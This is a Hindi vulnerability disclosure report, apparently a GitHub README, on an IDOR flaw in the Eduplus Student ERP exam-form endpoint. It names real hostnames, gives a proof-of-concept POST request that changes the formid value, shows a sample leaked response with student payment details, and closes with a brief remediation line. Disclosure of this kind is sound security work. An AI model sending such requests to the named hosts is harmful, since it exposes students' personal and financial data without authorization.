sharma19d/cve-2026-35678# Eduplus Student ERP में IDOR पर विस्तृत भेद्यता अनुसंधान रिपोर्ट, जिसमें तकनीकी विश्लेषण, PoC, प्रभाव आकलन और निवारण अनुशंसाएँ शामिल हैं।
शोधकर्ता: विनय शर्मा
यह रिपोर्ट एडुप्लस स्टूडेंट ईआरपी प्लेटफॉर्म में पहचानी गई उच्च-गंभीरता वाली सुरक्षा भेद्यता का विवरण देती है, विशेष रूप से छात्र शिक्षार्थी पोर्टल (learnerapi.pceterp.in) के भीतर। एप्लिकेशन परीक्षा फॉर्म सबमिशन एंडपॉइंट पर एक यूनिवर्सल इनसिक्योर डायरेक्ट ऑब्जेक्ट रेफरेंस (IDOR) से ग्रस्त है, जो किसी भी प्रमाणित उपयोगकर्ता (छात्र) को फॉर्म पहचानकर्ताओं में हेरफेर करके किसी भी अन्य छात्र का संवेदनशील व्यक्तिगत और वित्तीय डेटा प्राप्त करने की अनुमति देता है।
यह भेद्यता छात्र रिकॉर्ड के बड़े पैमाने पर डेटा संग्रह की अनुमति देती है, जिसमें व्यक्तिगत रूप से पहचान योग्य जानकारी (PII) और विस्तृत वित्तीय लेनदेन ऑडिट ट्रेल शामिल हैं।
learnerapi.pceterp.in, learner.zealerp.in, learner.despu.edu.in आदिPOST /ExamForm/viewSubmitExamFormCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)यह भेद्यता viewSubmitExamForm एंडपॉइंट में निवास करती है। सर्वर प्राप्त किए जाने वाले रिकॉर्ड की पहचान करने के लिए दो क्लाइंट-आपूर्ति पैरामीटर पर निर्भर करता है:
{"formid": "XXXXX"}Router-Path: /view-pcu-exam-form/XXXXXformid से जुड़े डेटा को देखने के लिए अधिकृत है या नहीं। संख्यात्मक आईडी के माध्यम से पुनरावृत्ति करके, एक हमलावर अन्य छात्रों के रिकॉर्ड तक पहुंच सकता है।संशोधित formid के साथ भेद्य एंडपॉइंट पर एक मानक POST अनुरोध संवेदनशील छात्र डेटा प्राप्त करता है।
अनुरोध:
POST /ExamForm/viewSubmitExamForm HTTP/2
Host: learnerapi.pceterp.in
Content-Type: application/json
Router-Path: /view-pcu-exam-form/28984
... (प्रमाणित हेडर) ...
{"formid":"28984"}
प्रतिक्रिया (लीक हुए डेटा का सारांश):
{
"status": "200",
"examFormname": "B.Tech - Sem VI - Regular",
"receipt_no": "REC/2023/54321",
"feespaiddate": "2023-10-15",
"ispaymentdone": {
"username": "[email protected]",
"received_amount": "1500.0",
"updation_ip_address": "103.x.x.x",
"erp_transaction_id": "ERP_998877",
"bank_transaction_id": "BANK_ABC123",
"paymentgateway_transaction_id": "PG_XYZ789",
"learner": {
"id": "12345"
}
}
}
Idorpoc.mp4 अपलोड हो रहा है…
इस भेद्यता का सफल शोषण निम्न की अनुमति देता है:
formid सक्रिय सत्र से जुड़े learnerid से संबंधित है। प्रमाणित सत्र टोकन के विरुद्ध सत्यापन के बिना formid या Router-Path पैरामीटर पर कभी भरोसा न करें।